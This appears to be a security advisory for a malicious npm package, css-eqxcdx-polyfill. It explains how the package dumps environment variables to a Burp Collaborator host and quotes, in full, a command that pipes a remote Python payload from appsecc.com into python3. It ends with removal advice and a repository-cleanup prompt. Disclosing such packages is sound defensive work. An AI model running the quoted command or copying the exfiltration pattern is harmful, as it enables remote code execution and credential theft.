# MAL-2026-17573: Malicious code in css-eqxcdx-polyfill (npm)


- **Type:** Malicious package
- **Package:** `css-eqxcdx-polyfill` (npm)
- **Published:** 5 Oct 2026

## What is MAL-2026-17573?

MAL-2026-17573 is a malicious package in css-eqxcdx-polyfill, published on 5 Oct 2026. 

### Official description

The package presents itself as a polyfill exporting Wix thunderbolt-style registry stubs (thunderboltRegistry, siteAssetsRegistry, documentManagementRegistry, editorRegistry, corvidRegistry, etc.), but thunderboltRegistry.js runs an IIFE on module load that performs two installer-side attacks. First, it executes `id`, `whoami`, `env`, and `ifconfig`/`ip addr` via child_process.execSync, collects the OS hostname, and POSTs the output together with a wholesale dump of process environment variables via fetch() to the hardcoded Burp Collaborator OAST host https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/, including a tagged `cmd=env` beacon. Environment variables on developer and CI hosts routinely contain cloud, registry, and CI credentials. Second, it runs `curl -L https://appsecc.com/py | python3` via execSync, fetching and executing an arbitrary remote Python payload on the installer's machine, with a self-labeled `cmd=reverse-shell` beacon sent to the same OAST host. The registry-API facade and the Wix-adjacent naming are cover for the reconnaissance and remote code execution in the same file; the package has no legitimate functionality.

## What should I do about MAL-2026-17573?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-17573 is a malicious package: css-eqxcdx-polyfill (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-17573/ (Markdown: https://insights.sbomify.com/MAL-2026-17573/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-17573

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-17573/
Summaries are generated and may contain mistakes; the official description above is the record.